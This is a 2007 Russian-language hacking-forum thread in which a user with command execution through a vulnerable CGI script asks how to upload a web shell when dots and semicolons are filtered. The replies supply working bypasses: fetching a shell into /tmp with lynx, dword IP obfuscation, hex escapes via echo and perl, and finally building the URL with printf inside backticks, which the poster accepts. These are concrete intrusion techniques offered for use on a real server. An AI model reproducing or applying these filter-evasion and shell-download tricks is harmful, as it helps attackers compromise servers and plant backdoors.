/bin/bash хелп

Discussion in 'Безопасность и Анонимность' started by guest3297, 4 Mar 2007.

Thread Status:
Not open for further replies.
  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Короче есть бага в cgi скрипте могу исполнять команды но не могу использывать .
    Сначало думал что это куйн но потом понял что залить шелл просто не реально.
    Да ; тоже нельзя.


    Вопрос как залить шелл не используя точки. на серваке есть lynx из загрузчиков.

    варианты извменить точку в чего либо (url кодировку не предлогать)

    записать эхом в файл без точки в 2 или 16 коде потом утилитой перекодировать и исполнить как .sh

    Как реалиховать у вас есть какие то идеи?
     
  2. hsi

    hsi Member

    Joined:
    11 Sep 2006
    Messages:
    214
    Likes Received:
    61
    Reputations:
    7
    Если я все правильно понял (хотя не уверен), то достаточно перевести команду в hex и залить шелл, если есть права на запись.
    ha.ckers.org/xss.html
     
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    как перевести в хекс я знаю )
    нужна утилита в стандартной поставке котороая могла бы текст в файле (допусти hex) преобраховать в нормальный. короче мне надо залить шелл не используя точки и точки с запятой.
     
  4. hsi

    hsi Member

    Joined:
    11 Sep 2006
    Messages:
    214
    Likes Received:
    61
    Reputations:
    7
    В стандартных утилитах такого, по-моему, нет. Для этого пишутся скрипты на bash или perl. Но его еще нужно туда залить.
    www.computing.net/unix/wwwboard/forum/6894.html
    Там несколько вариантов скриптов, переводящих hex в ascii.
     
  5. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    cd /tmp && lynx <url>
    не выход?
     
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    cd /tmp && lynx http://ya.ru/shell
    без точек...
     
  7. hsi

    hsi Member

    Joined:
    11 Sep 2006
    Messages:
    214
    Likes Received:
    61
    Reputations:
    7
    А cd /tmp && lynx http://ya%2Eru/shell ?
     
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    нет
    читаем внимательней.
    url приобразовываеться. и в конечном запросе .
     
  9. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    Прийдется преобразовывать ип домена ya.ru в что-то вроде 0x34a2462d.
    Хз, других идей у меня нет...
     
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    2Deem3n®
    так скачаеться????
     
  11. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    Проверяю... :)

    UPD:
    Опера почему-то с такими ссылками не пашет... а lynx не установлен.
    Прочитай вот это и сам попробуй:
    http://www.pc-help.org/obscure.htm#dword

    UPD2:
    а пинг работает... :)
    Code:
    dima@gentoo-fn ~ $ ping 3578842120
    PING 3578842120 ([b]213.80.204.8[/b]) 56(84) bytes of data.
    ...
    обфускатор тут:
    http://www.odditysoftware.com/page-webtools5.htm
     
    #11 Deem3n®, 4 Mar 2007
    Last edited: 4 Mar 2007
    1 person likes this.
  12. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    да старый способ.
    щас будем тестить на совместимость с lynx.
     
  13. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    не хотит
     
  14. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    хых... почитал топик но так и не понял причём тут /bin/bash. Там может любая командная оболочка стоять =)

    Если я правильно понял задачу, что ты хочешь выполнить, то средствами командной оболочки, заметь (не обязательно bash), это можно сделать так:
    Code:
    echo -ne "\x2E" > file
     
    #14 ShadOS, 4 Mar 2007
    Last edited: 4 Mar 2007
    1 person likes this.
  15. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Вывести точку можно так:
    `perl -e "print 'chr(46)'"`
     
  16. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    не знаком с перлом как допустим создать файл с текстом
    http://ya.ru/index.html

    при вводе исползуя char
    и вывести его в файл aaa допустим?
     
    1 person likes this.
  17. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    2[ cash ] чем тебя printf + `cmd` не устраивает?
     
    1 person likes this.
  18. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    2ZaCo
    пример можно?
     
  19. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    lynx `printf "http://ya\x2Eru"`
     
    2 people like this.
  20. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Всем спасибо можно закрыть.
     
    1 person likes this.
Thread Status:
Not open for further replies.